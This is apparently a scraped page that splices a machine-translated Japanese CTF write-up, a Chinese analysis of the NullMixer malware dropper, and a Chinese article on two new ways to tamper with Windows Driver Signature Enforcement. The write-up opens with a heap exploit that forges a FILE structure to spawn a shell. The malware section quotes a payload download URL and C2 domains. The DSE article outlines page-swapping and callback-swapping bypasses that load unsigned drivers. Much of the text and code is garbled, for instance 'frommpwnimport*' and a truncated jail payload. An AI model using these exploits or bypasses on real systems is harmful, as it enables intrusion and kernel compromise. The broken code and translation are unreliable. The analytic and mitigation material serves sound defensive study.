stdin_io_buf_base=stdin + 7*8

stdin_old_value=stdin +0x83

stdout=libc_base + libc.sym ['_ io_2_1_stdout_']

stderr=libc_base + libc.sym ['_ io_2_1_stderr_']

#ステップ2 : printf -stdout -house of apple2

システム、binsh=get_sb()

_io_wfile_jumps=libc_base +0x202228

base_addr=stdout

fake_io=b 'sh; \ x00 \ x00 \ x00'

fake_io=fake_io.ljust(0x68、b '\ x00')

fake_io +=p64(system)

fake_io=fake_io.ljust(0x88、b '\ x00')

fake_io +=p64(base_addr +0x5000)#_lock

fake_io +=p64(0)*2

fake_io +=p64(base_addr)

fake_io=fake_io.ljust(0xd8、b '\ x00')

fake_io +=p64(_io_wfile_jumps -0x20)

fake_io=fake_io.ljust(0xe0、b '\ x00')

fake_io +=p64(base_addr)

SLA(b ''、b'2 ')

SLA(b'mem: '、hex(stdin_io_buf_base)))

#debug( 'b *$ rebase(0x12c3)')

sa(b ''、p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))

睡眠(1)

SL(fake_io)

lg( 'libc_base'、libc_base)

inter()

Pause()

2。フォレンジック

1.tpa 01

E01ミラーは火の目に直接投げられ、ネストされた証拠を分析します

1049983-20241005123634198-863951153.jpg

実際、私がこの質問をしていたとき、分析プロセスは非常に複雑でした。私は複雑すぎると感じました。その理由は、私が経験が少なすぎたからです。私もそれをシミュレートし始めました。

フォルダをめくるときは、WSLを見つけて、ネストされた証拠を組み合わせます。予想されるソリューションは、このシステムを復元することであるべきだと思います。

1049983-20241005123635438-1986591366.jpgしかし、幸いなことに、証拠収集ツールがあります。あなたはそれを回復せずにそれをすることができます。ファイルシステムを慎重に検索しなかったため、以下は私が見つけた別の方法です。

010 ciphertextを掘り出すだけです

1049983-20241005123636208-712348146.jpg

しかし、あなたはそれを火の目で直接見ることができ、あなたはまた、キーについてのプロンプトを見ることができます。

1049983-20241005123636839-420522205.png

鍵:

YouTubeでビデオを見るのが好きですか?

F14G:

こんにちはプレーヤー、ようこそ!Ops、それは何ですか?

プロンプトに応じて、どこかから何かを選択してください私はそれがSQLステートメントと関係があるはずだと思います

最初にキーで言及されているビデオを見てみましょう

1049983-20241005123637427-1989273656.jpg文字列があります。来て、見てください

0x6D617962652075206E6565642C746861742773206E6F74206162736F6C7574650A726F6F743A5040357357307264446464466F7255

たぶんあなたは必要です、それは絶対的ではありません

root:p@5SW0RDFORU 1049983-20241005123638116-1629312263.pngにパスワードが与えられました。 MySQLにログインして、正常にログインしてください。

1049983-20241005123638719-878532988.png 1049983-20241005123639290-416150928.pngSelect * Secretから。1049983-20241005123640012-298815255.jpg 1049983-20241005123640629-927545123.jpg

ffd8の頭、一目、jpg画像、保存、aes復号化キーを与える

実際、プロジェクトIBD2SQLを使用して、データベースSecret.ibdを復号化することもできます。1049983-20241005123641303-237871512.png 1049983-20241005123642062-415239806.jpg

2.tpa 02

2つの部分:1つは攻撃者の携帯電話番号を見つけることです。もう1つはペギーのログインパスワードを見つけ、最初にトラフィックを見て、TCPフローを直接追跡し、31番目のフローでログインログインページを見つけます

image-20240611170304555

最初のフラグは、Android電話がSMSメッセージを保存する場所から見つかります

image-20240611170358276

指定された携帯電話フォルダーを見てください。 Fire Eyeを使用して、2つの携帯電話番号を分析します。

1049983-20241005123644087-129601060.pngコンテキストによると、その数は15555215556であることを知ることができます。これはペギーの同僚であるはずです。ペギーがフィッシング情報を受け取ったかどうかを尋ねてください。

次に、以下の1555215558は攻撃者の携帯電話番号になるはずです。直接結合されます。

R3CTF {15555215558_L0V3_AND_PEACE}

iii。ミス

1.Blizzard CNが再起動

ShadowEditorを使用

1049983-20241005123644830-198434124.jpg

image-20240611170732676

image-20240611170748000

2.hideandseek

ベンは、かくれんぼをするのが大好きな超大国です。彼は誰も彼を見つけることができない場所にどこにでもテレポートすることができますが、彼は彼の能力が特定の範囲内でのみ機能することに気づいていないようです

ルール:

愛らしいベンは、(0、-50、0)から(128、50、128)の範囲内にのみ表示されます。

ベンは10秒ごとになり、10秒後に新しい場所に再び現れます。

すべてのプレーヤーが任意の座標にテレポートするために「newtp」が追加されました。

Info: 34.81.163.238を接続します

バージョン1.19.2は非常に抽象的なMCゲームの質問です。最初は、PCL2エミュレーターを使用してゲームに参加してプレイしました

image-20240611194137010

NewTPコマンドを提供していることがわかりました。また、MCのTPコマンドの使用方法を学ぶために多くのチュートリアルをチェックしましたが、役に立たないことがわかりました。私はしばらくの間地図を歩き回りました。

Newtpを使用して、いくつかの座標を送信します。コマンド形式は次のとおりです

送信される座標(x、y、z)

newtp x y zログログファイルを直接フリップしてフラグを見つけます

image-20240611194432924

丸太を読んでください、そしてあなたは「ベン」の体タイプが村人であるべきであることがわかります、そして彼の名前は旗です

r3ctf {jus7_play_m0r3_h1de_2nd_seek_w1th_ben}

3.transit

1049983-20241005123648414-1514241253.jpg

撮影場所に非常に似ているB Stationのビデオでカバーを検索します。 19行目に沿ってPOVを見つけます。ビデオbv1ie411m7avは撮影場所です。フレームごとにフレームを再生し、3:35で見つけてください。R3CTF{Hangzhou_Zhixing_road_Station}

1049983-20241005123649086-1267414652.jpg

Hint:S1611およびS1613は、列車ではなく、信号光の数になります。 https://www.cnblogs.com/qq2962269558/p/12743383.htmlは、アップリンクとダウンリンク(x)を使用して列車の方向を定義します。電動駆動型EMU

4.礼拝堂

0.85を超える場合は、間違いなく1です。

frommpwnimport*

p=remote( 'ctf2024-entry.r3kapig.com'、31395)

Foriinrange(500):

a=p.recvuntil(b'top_10_pred: [')

b=p.recvuntil(b ']')

b=b.decode()。置換( '['、 '')。置換( ']、' ')。分割('、 ')

c=float(b [0])

IFC=0.9:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'1')

else:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'0')

print(f'no。{i}={c}、num={num} ')

flag=p.recvline()

印刷(フラグ)

P.Close()もちろん、スコープは合理的に変更できます

1049983-20241005123649655-2063342577.jpg

r3ctf {cain_like_a1_4nd_rec_8772b609d39f}

5.hideandseek

不正行為は数秒です

1049983-20241005123650262-888396391.jpg

非常に優れた村人、私の視点と追跡回転を作ってください

6.h1de@ndse3k

MCがブロックをレンダリングすると、ログが数秒で表示されるように記録されます。

1049983-20241005123650893-1618764647.jpg CEを使用して、java.exeプロセスには「R3CTF」、「R3CTF」、「フラグ」が多いことを確認します。村人の名前は記憶の中で単純なテキストに保存されていると推測されています。写真を実行した後、

1049983-20241005123651685-445066128.jpgp.s.テスト後、旅行マップ(Journeymap-1.19.2-5.9.8-fabric)をロードした後にのみ、村人の名前を記憶に載せることができます。旅行地図にいくつかのクリーチャーNBTを記録することは合理的です。

または旗を爆破するだけです()

1049983-20241005123652376-1919325320.jpg

7.壁をbehind

defcallback(re):

Re=5

re=getattr(getattr(getattr( 'a'、f'e {f'n '} c {f'o'} d {f'e '}')()( )、f'f {f'r '} o {f'm'} h {f'e '} x')(f '{re} f')、f'd {f'e '} c {f'o'} d {

sl-abstract-malicious-binary-code-1200-1200x600.jpg

NullMixer 是導致各種惡意軟件家族感染鏈的投放程序,它通過惡意網站傳播,這些網站主要可以通過搜索引擎找到。這些網站通常與非法下載軟件的破解、註冊機和激活程序有關,雖然它們可能偽裝成合法軟件,但實際上包含一個惡意軟件投放程序。

看起來這些網站正在使用SEO 來提高其搜索排名,從而在互聯網上搜索“crack”和“keygen”時很容易找到它們。當用戶嘗試從其中一個網站下載軟件時,他們會被多次重定向,並最終進入一個包含下載說明和偽裝成所需軟件的受密碼保護的壓縮文件惡意軟件的頁面。當用戶提取並執行NullMixer 時,它會將許多惡意軟件文件投放到受感染的計算機上。這些惡意軟件家族可能包括後門、銀行木馬、憑證竊取程序等。例如,NullMixer 投放了以下惡意軟件:SmokeLoader/Smoke、LgoogLoader、Disbuk、RedLine、Fabookie、ColdStealer。

初始感染NullMixer 的感染媒介基於一個“用戶執行”惡意鏈接,該鏈接要求最終用戶點擊並下載受密碼保護的ZIP/RAR 壓縮文件,其中包含手動提取和執行的惡意文件。

NullMixer的整個感染鏈如下:

用戶訪問網站以下載破解軟件、註冊機或激活程序。該活動似乎針對任何希望下載破解軟件的人,並使用SEO 技術使這些惡意網站在搜索引擎結果中更加突出。

1.png

谷歌搜索引擎搜索結果中“破解軟件”的頂部包含提供NullMixer的惡意網站

用戶點擊所需軟件的下載鏈接;

該鏈接將用戶重定向到另一個惡意網站;

惡意網站將用戶重定向到第三方IP 地址網頁;

該網頁指示用戶從文件共享網站下載受密碼保護的ZIP 文件。

2.png

惡意軟件執行指令

用戶提取帶有密碼的壓縮文件;

用戶運行安裝程序並執行惡意軟件。

3.jpg

NullMixer 感染鏈執行示例

NullMixer 介紹NullMixer是一個投放程序,它包含的不僅僅是特定的惡意軟件家族,也會投放各種惡意二進製文件來感染計算機,比如後門程序、銀行程序、下載程序、間諜軟件和許多其他程序。

NullMixer 執行鏈當用戶從下載的受密碼保護的壓縮文件中提取“win-setup-i864.exe”文件並運行它時,感染就開始了。 “win-setup-i864.exe”文件是一個NSIS(Nullsoft Scriptable Install System)安裝程序,是很多軟件開發者使用的非常流行的安裝工具。在本文的示例中,它投放並啟動了另一個文件“setup_installer.exe”,這實際上是一個包含在Windows 可執行文件中的SFX 壓縮文件“7z Setup SFX”。 “setup_installer.exe”文件投放了數十個惡意文件。但它沒有啟動它們,而是啟動了一個可執行文件setup_install.exe,這是一個NullMixer啟動程序組件。 NullMixer 的啟動程序啟動所有投放的可執行文件。為此,它包含一個硬編碼文件名列表,並使用“cmd.exe”逐個啟動它們。

4.png

硬編碼到NullMixer啟動程序組件的文件列表

5.jpg

NullMixer 執行鏈

它還嘗試使用以下命令行更改Windows Defender 設置。

6.png

在啟動所有已投放的文件後,NullMixer 啟動程序會立即向CC 發送關於安裝成功的信標。此時,所有被投放和啟動的惡意文件都留在了它們自己的設備中。很快就可以識別由NullMixer惡意軟件傳播的各種惡意二進製文件。

7.jpg

NullMixer 和它投放的惡意軟件家族

由於投放的惡意軟件家族數量非常大,本文只對每個家族進行簡要描述。

SmokeLoaderSmokeLoader(又名Smoke)是一種模塊化惡意軟件,自2011 年以來就廣為人知,通過網絡釣魚電子郵件和偷渡式下載(drive-bydownload)分發。多年來,它通過附加模塊不斷擴展其功能。例如,添加禁用Windows Defender 和反分析技術。

與使用硬編碼靜態URL 下載惡意文件的最簡單下載程序相比,SmokeLoader 用CC 通信以接收和執行下載任務。

RedLine StealerRedLine Stealer 自2020 年初就為人所知,並一直持續到2021 年。眾所周知,該惡意軟件在網絡論壇上出售,並通過釣魚郵件傳播。

另一種傳播RedLine Stealer的新方法是誘使Windows 10用戶獲得虛假的Windows 11升級。當用戶下載並執行二進製文件時,他們實際上是在運行惡意軟件。

RedLine的主要目的是從瀏覽器中竊取證書和信息,此外還從受感染的計算機上竊取信用卡詳細信息和加密貨幣錢包。此外,該惡意軟件還收集有關係統的信息,例如:用戶名、硬件詳細信息和已安裝的安全應用程序。

PseudoManuscryptPseudoManuscrypt 自2021 年6 月以來就廣為人知,並用作MaaS(惡意軟件即服務)。 PseudoManuscrypt並不針對特定的公司或行業,但據觀察,工業和政府組織,包括軍工複合體和研究實驗室的企業,是最嚴重的受害者。

該惡意軟件通過Glupteba等其他殭屍網絡傳播。 PseudoManuscrypt的的主要目的是通過從Firefox、谷歌Chrome、Microsoft Edge、Opera和Yandex瀏覽器中竊取cookie,通過使用ClipBanker插件進行鍵盤記錄和竊取加密貨幣來監視受害者。惡意軟件的一個顯著特徵是使用KCP協議下載額外的插件。

ColdStealerColdStealer 是一個相對較新的惡意程序,於2022 年被發現。與許多其他竊取程序一樣,它的主要目的是從Web 瀏覽器竊取憑據和信息,此外還竊取加密貨幣錢包、FTP 憑據、各種文件和有關係統的信息,例如操作系統版本、系統語言、處理程序類型和剪貼板數據。將被盜信息傳遞給攻擊者的唯一已知方法是將ZIP 壓縮文件發送到嵌入式控制中心。

8.png

ColdStealer Main() 函數

FormatLoaderFormatLoader 是一個下載程序,因為使用硬編碼的url作為格式字符串而得名,它需要填寫一個數字來獲取下載附加二進製文件的鏈接。可用的數字範圍也是硬編碼的。

9.png

FormatLoader 的主要目的是通過將二進製文件下載到受感染的計算機上來用額外的惡意文件感染計算機。為此,惡意軟件將硬編碼範圍中的數字逐個添加到硬編碼格式字符串中,並訪問下載鏈接。

此外,FormatLoader 使用第三方網站服務來跟踪受感染的計算機。它將“GET”請求發送到IP 記錄程序服務的特定URL,該服務收集IP 地址和基於IP 的地理位置等信息。

CsdiMonetize眾所周知,CsdiMonetize 是一個廣告平台,用於在感染用戶計算機後以按安裝付費的方式安裝許多不同的PUA(潛在不需要的應用程序)。後來,CsdiMoneitze 不僅用PUA 感染他們的受害者,還開始用真正的木馬感染他們的受害者,比如Glupteba 惡意軟件。

如今,CsdiMonetize 使用其他惡意軟件家族類型感染其受害者,例如:Fabookie、Disbuk、PseudoManuscrypt 等。

10.jpg

Csdi 執行鏈

感染從NSIS 安裝程序“61f665303c295_Sun1059d492746c.exe”開始,它會下載Csdi 安裝程序“MSEkni.exe”。 Csdi 安裝程序從CC 請求當前配置以及要安裝的其他Csdi 組件列表。配置以加密和base64 編碼的形式存儲在多個註冊表項中。下一步是下載其他組件,最值得注意的是發布者和更新程序組件。 Csdi 發布者組件負責通過使用URL 作為命令行參數啟動瀏覽器來顯示廣告。更新程序組件負責按安裝付費服務。它接收來自CC 的URL 列表以及有關如何投放和執行下載文件的說明。

Disbuk眾所周知,Disbuk(又名Socelar)將自己偽裝成合法的應用程序,例如PDF 編輯程序軟件。

該惡意軟件主要針對Facebook廣告,並通過訪問瀏覽器的SQLite數據庫從Chrome和Firefox盜取Facebook會話cookie。在檢索這些信息後,惡意軟件試圖提取額外的信息,惡意軟件會嘗試提取訪問令牌、帳戶ID 等附加信息。經過進一步發展,Disbuk 也開始檢索Amazon cookie。

除了竊取數據,Disbuk 還安裝了一個偽裝成谷歌翻譯擴展的惡意瀏覽器擴展。

FabookieFabookie 是另一個針對Facebook 廣告的竊取程序。它的功能類似於Disbuk 惡意軟件,包括從瀏覽器中竊取Facebook 會話cookie,使用Facebook Graph API 查詢來接收有關用戶帳戶、關聯支付方式、餘額、朋友等額外信息。被盜的憑據稍後可用於運行來自受感染帳戶的廣告。

與Disbuk 不同的是,該惡意軟件不包含內置的惡意瀏覽器擴展,但包含兩個嵌入式NirSoft 實用程序“Chrome Cookies View”和“Web Browser Password Viewer”,用於從瀏覽器中提取數據。

DanaBotDanaBot 是一種用Delphi 編寫的銀行木馬,它通過電子郵件網絡釣魚進行傳播,自2018 年被發現以來一直在迭代。

DanaBot 是一種模塊化惡意軟件,包括各種附加模塊,這些模塊最流行的功能是從受感染的計算機中竊取信息,並將虛假表格注入流行的電子商務和社交媒體網站以收集支付數據。它還可以通過遠程桌面提供對受感染系統的完全訪問,或通過使用VNC 插件訪問鼠標和鍵盤。

RacealerRacealer(又名RaccoonStealer)是一種竊取型惡意軟件,主要從受感染的計算機中竊取用戶憑據並洩露數據。

自2019 年被發現以來,Racoon 也經過了多次迭代。例如,它現在使用Telegram 來檢索CC IP 地址和惡意軟件配置。現在,它還可以從惡意軟件的CC 下載其他模塊,這些模塊也用於提取憑據。

Generic.ClipBankerGeneric.ClipBanker 是一種剪貼板劫持者惡意軟件,它監控受感染計算機的剪貼板,並專門搜索加密貨幣地址以替換它們。當用戶複製加密貨幣錢包的地址時,惡意軟件會將錢包地址替換為他們自己的加密貨幣錢包地址,因此最終用戶會將加密貨幣(例如比特幣)發送給他們,而不是發送到預期的錢包地址。

11.png

使用來自Generic.ClipBanker 二進製文件的加密貨幣地址進行篩選

SgnitLoaderSgnitLoader 是一個用C# 編寫的小型木馬下載程序,二進制大小約為15 KB。但是,原始文件是用Obsidium 打包的,這使得二進製文件的大小增長到400 多字節。

SgnitLoader 在其二進製文件中包含一些硬編碼的域,它會附加路徑並添加一個從1 到7 的數字。與FormatLoader 惡意軟件不同,它不使用格式字符串,而只是在末尾添加一個數字字符串以獲取完整的URL。

12.png

下載和執行過程完成後,SgnitLoader 通過“GET”請求ping 回CC。原始的pingback URL隱藏在' iplogger.org ' URL縮短服務中。

ShortLoader另一個用c#編寫的小型木馬下載程序。它的二進製文件是sgitloader大小的一半。它的主要功能代碼相當短,它使用“IP Logger”URL縮短服務來隱藏它下載有效負載的原始URL。這就是為什麼它被稱為ShortLoader。

13.png

ShortLoader Main() 函數

Downloader.INNO原始文件是利用“Inno Download Plugin”下載功能的“Inno Setup”安裝程序。

該安裝腳本被編程為從URL ' http://onlinehueplet[.]com/77_1.exe '下載一個文件,將其作為' dllhostwin.exe '放置到' %TEMP% '目錄中,並使用字符串' 77 '作為參數執行它。

14.png

Inno Setup 安裝腳本的一部分

下載的文件屬於Satacom Trojan-Downloader 家族。然而,在研究過程中,研究人員發現該文件在服務程序上被替換為合法的PuTTY 軟件(一種流行的SSH 客戶端)。

LgoogLoader該文件是另一個使用Microsoft Cabinet壓縮文件格式的軟件安裝程序。執行後,它會投放三個文件:一個批處理文件、一個帶有剝離的可執行文件標頭的AutoIt 解釋程序和一個AutoIt 腳本。然後它使用“cmd.exe”執行批處理文件。批處理文件的任務是恢復AutoIt 解釋程序可執行文件,並使用AutoIt 腳本的路徑作為命令行參數啟動它。

AutoIt 腳本執行一些AntiVM 和AntiDebug 檢查。如果所有檢查都成功,那麼它會再次啟動AutoIt 解釋程序,解密並解壓嵌入的可執行文件並將其註入新創建的進程。注入的可執行文件是LgoogLoader。

LgoogLoader是一個木馬下載程序,它從硬編碼的靜態URL下載加密的配置文件。然後對配置進行解密,從中提取額外的url,下載並執行最終的有效負載。它被稱為LgoogLoader,因為它使用了來自“谷歌隱私政策”的字符串。

15.png

LgoogLoader 二進製文件中的Google 隱私政策字符串

Downloader.Bitser原始文件是一個試圖安裝PUA: Lightening Media Player的NSIS安裝程序。該文件由csdimonealize的更新程序組件(MD5: 98f0556a846f223352da516af66fa1a0)下載。然而,安裝腳本不僅被配置為設置lighightmedia Player,還被配置為運行內置的Windows實用程序“bitsadmin”來下載額外的文件,這就是我們將其稱為Bitser的原因。在本文的示例中,該實用程序在NSIS 安裝程序的安裝腳本中使用,並用於下載受7z 密碼保護的壓縮文件。 7z 壓縮文件的密碼以及解包和執行說明也被硬編碼到安裝腳本中。

16.jpg

Downloader.Bitser 的感染鏈

一個合法的7-Zip 獨立控制台應用程序由安裝程序以名稱“data_load.exe”投放,並使用參數啟動以從下載的壓縮文件中解壓縮文件。

17.png

部分帶有下載和執行指令的NSIS 腳本

C-JokerC-Joker 是一個非常簡單的Exodus 錢包竊取程序。它使用Telegram API 發送有關安裝成功或失敗的通知。為了竊取憑據,它會下載“app.asar”文件的後門版本,並替換了來自Exodus錢包的原始文件。

18.png

C-Joker 二進製文件中的字符串

SatacomSatacom 也稱為LegionLoader。 Satacom 於2019 年被發現,它使用了不同的反分析技巧,這些技巧可能是從al-khazer 中藉鑑來的。嵌入式用戶代理因樣本而異,但在本文的示例中,用戶代理是“deus vult”。

19.png

Satacom 二進製文件中的字符串

最新版本從TXT-record 接收主控中心地址。 Satacom 向‘reosio.com’發送一個DNS TXT 查詢,並接收一個帶有base64 編碼字符串的響應。

20.png

Satacom DNS 請求和響應

使用XOR 密鑰“DARKMATTER”解碼和解密後,它會得到真正的CC URL“banhamm.com”。

Windows DSE(Driver Signature Enforcement)即任何驅動程序或第三方程式都要經過微軟簽名才能確保為正版、安全的程序。代碼完整性是15 年前由Microsoft 首次推出的威脅防護功能。在基於x64 的Windows 版本上,內核模式驅動程序必須在每次加載到內存時進行數字簽名和檢查,這也被稱為驅動強制簽名(DSE),檢測是否將未簽名的驅動程序或系統文件加載到內核中,或系統文件是否被修改(可能由具有管理權限的惡意軟件運行),可以提高操作系統的安全性。

為了克服這些限制,攻擊者使用有效的數字證書(無論是頒發給他們的還是他們竊取的)或者他們在運行時禁用DSE。獲得證書的難度很大,但篡改證書則純粹是一個技術上的挑戰。

儘管微軟近年來一直在致力於解決驅動強制簽名方面存在的問題,並提供了一系列解決方案,但利用眾所周知,篡改DSE的方法越來越多,用此方法攻擊的案例也明顯增加,這促使我們要深入地研究這個問題。

我們會在本文分享我們的研究結果,以及兩種DSE篡改方法的細節。

DSE實現過程j00ru是谷歌項目Zero的一名安全研究員,他層發表了一篇關於Windows 7中代碼完整性實現的介紹。

ntoskrnl.exe與附加的內核庫CI.dll(代碼完整性)一起工作。在操作系統初始化階段,內核設置nt!g_CiEnabled 並使用指向nt!g_CiCallbacks 結構的指針調用CI!CiInitialize 例程來初始化CI.dll。它依次設置CI!g_CiOptions 並在返回內核之前填充CI!CiValidateImageHeader、CI!CiValidateImageData 和CI!CiQueryInformation 回調的地址。

要使用回調函數,包裝器函數存在於ntoskrnl.exe中。他們檢查那個nt!g_CiEnabled設置為TRUE,適當的回調不是NULL,然後調用它。

當內核加載驅動程序時,執行通過nt!MmLoadSystemImage 到nt!MmCreateSection 並最終到nt!MiValidateImageHeader 例程。這樣,依次調用nt!SeValidateImageHeader 和nt!SeValidateImageData 包裝器。每個回調都應在成功時返回零,否則返回非零值。

fig1.webp.jpg

驅動程序加載時的調用堆棧

“Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats”一書詳細說明了Windows 8 中的實現更改過程:刪除nt!g_CiEnabled 變量,因此DSE 狀態僅由CI!g_CiOptions 確定,更多回調函數被添加到CI.dll提供的接口中。書中沒有描述的另一個變化是,如果驗證標頭成功,那麼驗證數據回調將不會被調用。

在Windows 8.1上,回調結構的符號名稱被更改為nt!SeCiCallbacks。

內核模式簽名策略除了簽名的加密有效性之外,微軟強制簽名證書只能由支持CA 的交叉證書頒發。這可以防止攻擊者簡單地在每台計算機上安裝自己的CA證書。

從Windows 10Redstone開始(2016年8月發布),驅動程序簽名策略有所改變,需要微軟自己進行第二次簽名。這是通過一個web門戶網站完成的,在那裡開發人員上傳他們的簽名二進製文件,並將它們發送給微軟。從攻擊者的角度來看,這意味著將你的有效載荷傳播給防御者,這與他們通常想要的相反。至少有一個記錄在案的案例表明,這種新措施沒有阻止攻擊者。

內核補丁保護KPP 或PatchGuard 於2005 年首次推出,是x64 版Windows 的一項功能,可防止修補內核。 “修補內核”是指修改ntoskrnl.exe 和其他關鍵系統驅動程序和數據結構(SSDT、IDT、GDT 等)的代碼。

它通過定期檢查這些受保護區域是否被修改而工作。如果檢測到系統被修改,則會觸發藍屏,使系統停止。 PatchGuard在每一個新的Windows版本中都會更新,這使得攻擊者很難開發出適用於所有版本的通用繞過技術。

ntoskrnl.exe中的回調結構和CI!g_CiOptions變量分別從Windows 8和Windows 8.1開始受PatchGuard保護。

DSE在野外被篡改儘管j00ru 得出結論,重寫nt!g_CiEnabled 或CI!g_CiOptions 等私有符號可能相對困難,但這正是攻擊者選擇的方向。眾所周知,臭名昭著的Turla APT 開發了這種技術,安全研究人員對其進行了逆向工程並發布了他們的代碼。

這些私有符號通過簡單的模式匹配來定位,幾乎不需要任何更改:

fig2.webp.jpg

常規PTE 順著SLAT PTE 突出顯示差異

在x86架構上,SLAT pte (Page Table Entries)處理權限不同於常規的PTE:讀\寫權限是分開的,執行權限需要顯式設置,並且只能為ring 0(內核模式)授權。 hypervisor使用SLAT 頁表來強制VTL 之間的隔離並使VTL1 可以訪問它們,所以安全內核使用它們來實現VBS特性,而hypervisor本身並不為這些功能本身實現任何代碼/邏輯。

受HyperVisor 保護的代碼完整性HVCI,最初稱為Device Guard,是隨著VBS 的引入而發布的,這是完整性執行的另一層。

加載新驅動程序後,安全內核也會被觸發並使用其自己的代碼完整性庫SKCI.dll(安全內核代碼完整性)實例。在Secure World (VTL1) 中的當前策略中驗證並檢查數字簽名以得到授權。只有這樣才能將可執行和不可寫權限應用於相應GPA 的SLAT 頁表。因此,NT 內核(VTL0) 不能修改任何以前加載的代碼或運行任何新代碼,而無需在進程中使用安全內核。

fig3.webp.jpg

Windows 10 SKCI.dll 中SkciInialize 及其自身CiOptions 變量的反彙編

內核數據保護KDP 旨在保護在Windows 內核(即操作系統代碼本身)中運行的驅動程序和軟件免受數據驅動的攻擊。它最初是在Windows 10 20H1 中引入的。

使用KDP,在內核模式下運行的軟件可以靜態(其自身映像的一部分)或動態(只能初始化一次的池內存)保護只讀內存。 KDP 僅在VTL1 中為支持受保護內存區域的GPA 建立寫保護,使用SLAT 頁表供管理程序強制執行。這樣,在NT 內核(VTL0) 中運行的任何軟件都不能擁有更改內存所需的權限。

KDP並不強制如何轉換受保護區域的GVA範圍映射,根據開發人員的介紹,KDP目前只定期驗證受保護的內存區域是否轉換為適當的GPA。

從Windows 11 開始,CI.dll 選擇使用靜態KDP (MmProtectDriverSection API) 來強化自身,將所有相關的CI 策略變量放置在名為“CiPolicy”的單獨部分中。

fig4.webp.jpg

Windows 11 中CI.dll 中CiInitializePolicy 和CiPolicy 部分的反彙編

驅動程序阻止列表這是通過Windows Defender 應用程序控制(WDAC) 或HVCI 策略強制執行的,目前已有一些第三方安全產品供應商也採用了這種做法。可以在此處找到最新的阻止列表。

阻止列表拒絕攻擊者輕鬆訪問內核寫入原語。雖然它非常有效,但它不是一種主動措施,只能處理以前發現的驅動程序。因此,這種緩解措施對驅動程序中的零日漏洞無效,防御者必須不斷追踪它們,始終落後於攻擊者一步。

新的篡改發現技術從上面的描述中,敏銳的讀者可以看到,如果沒有啟用HVCI,則可能在不進行任何代碼修補的情況下篡改DSE。

方法一:“頁面交換”

僅僅因為不再可能寫入CI!CiOptions 並不意味著它的值不能改變。該變量仍被虛擬地址訪問,並且每次都會發生到物理地址的轉換過程。因此,我們將改為更改翻譯結果。

通過將物理頁面從受KDP 保護的頁面交換到我們擁有的頁面,我們重新獲得了對內存的完全控制權。交換GPA 僅意味著更改PTE(頁表條目)中的PFN(頁幀號),它本質上只是另一個指針。

我們可以為任何給定的虛擬地址計算PTE 的虛擬地址,避免每次遍歷所有頁表。頁表位於Windows 內核用來管理分頁結構的虛擬內存區域中,稱為“PTE 空間”。 PTE Base 由KASLR(內核地址空間佈局隨機化)隨機化,從Windows 10 Redstone 開始。在之前的研究中,我們展示了一種可靠的方法來找到它。

除了寫入之外,執行此方法還需要內核讀取和內存分配原語。以下是C 偽代碼的分步實現過程:

fig5.webp.jpg

頁面交換的C偽代碼

可以使用來自用戶空間的頁面,因此內核內存分配原語變得多餘。對於CI.dll,可以使用變量的默認值而不是複制頁面。結果,內核空間的讀取次數顯著減少,因為只剩下少數必要的PTE 讀取。

方法二:“回調交換”有一段時間,KDP 似乎提高了防止DSE 篡改的門檻,因為頁面交換也需要內核讀取原語。我們再次查看了CI.dll 和ntoskrnl.exe 是如何集成的,然後我們想,“為什麼要使用CI.dll 呢?讓我們使用自己的回調而不是CI!CiValidateImageHeader”。

fig6.webp.jpg

回調交換演示

上圖證明無需讀取任何內核空間數據即可找到所有必要的地址,具體過程如下:

首先,在ntoskrnl.exe 中找到回調結構。該結構作為參數傳遞給CI!CiInitialize,這樣我們就可以從調用中獲得它的地址。內核只調用該函數一次,因此我們查找使用其導入表條目的CALL或JMP指令。找到調用站點後,返回到“.data”部分中指向未初始化內存的參數的寄存器分配。

fig7.webp.jpg

在Windows 11的ntoskrnl.exe中反彙編SepInitializeCodeIntegrity和SeCiCallbacks

接下來,尋找要使用的替換回調函數。我們需要一個不帶參數並返回零的函數。幸運的是,ntoskrnl.exe 有一些符合此要求的導出函數,例如FsRtlSyncVolumes 或ZwFlushInstructionCache,因此只需調用GetProcAddress 即可。

最後,找到要恢復的原始回調函數。回調由CI!CipInitialize 在結構中設置,因此它將引用所有回調。所有回調都設置在所有Windows 構建的單個基本代碼塊中。搜索這種指令模式,如下圖所示,並從lea 指令中提取偏移量。要驗證偏移量是否確實導致函數,遍歷PE 的異常目錄以查找具有相同起始地址的RUNTIME_FUNCTION 條目。

fig8.webp.jpg

Windows 11中CI.dll中CipInitialize的反彙編

KDP 保護被“設計”繞過,因為ntoskrnl.exe 沒有選擇使用回調結構。更改回調的另一個優點是篡改通過記錄的查詢系統信息API 不可見。

雖然解析地址可能需要多行代碼,但它是在用戶空間中完成的,因此只需要內核寫入原語,這與當前眾所周知的DSE 篡改方法相同。儘管PoC 向內核空間寫入了8 個字節(64 位指針的大小),但可以通過在CI.dll 中查找回調目標來減少這個數字。在撰寫本文時,來自TrustedSec的Adam Chester也發布了一篇最新的研究文章,他選擇了一種替代方法,通過掃描他創建的二進制簽名來找到原始回調。

緩解措施HVCI 涵蓋了所有篡改方法,因為它在加載驅動程序時執行自己的驗證。儘管HVCI 已經存在多年,但直到最近才在新的Windows 安裝中默認啟用。因此,我們一定要想出一個替代方案。

我們試圖找到一種方法來在驅動程序加載期間確認DSE 的狀態。此外,一個將支持程序的阻塞。在這一點上,如何獲得DSE 狀態的可見性應該是顯而易見的,防御者可以利用攻擊者用來查找內部變量的相同策略。畢竟,它已被證明是穩定的。

考慮到一個被篡改的狀態只能持續很短的時間,假設我們開始運行時系統狀態是有效的是合理的。此時,將保留內部變量的副本。

有3個選項可以攔截驅動程序加載:

1.在NtLoadDriver API 的用戶空間中放置一個鉤子。

2.使用註冊表回調來監視驅動程序註冊表項路徑上的操作。

3.使用文件系統微過濾器回調來創建驅動程序文件的部分(IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION)。

要知道回調是否作為驅動程序加載的一部分被觸發,它需要檢查當前進程是SYSTEM 並且調用堆棧源自ntoskrnl.exe 而不是任何其他驅動程序。

一旦驅動程序加載被攔截,通過檢查任何變量的變化來檢測DSE 篡改。此時,可以簡單地通過使用錯誤狀態代碼阻止I\O 請求或將變量恢復到其保存狀態來進行預防。

總結我們在本文中介紹了微軟如何嘗試在運行時保護DSE,並介紹了兩種新方法來篡改它並成功加載未簽名的驅動程序。

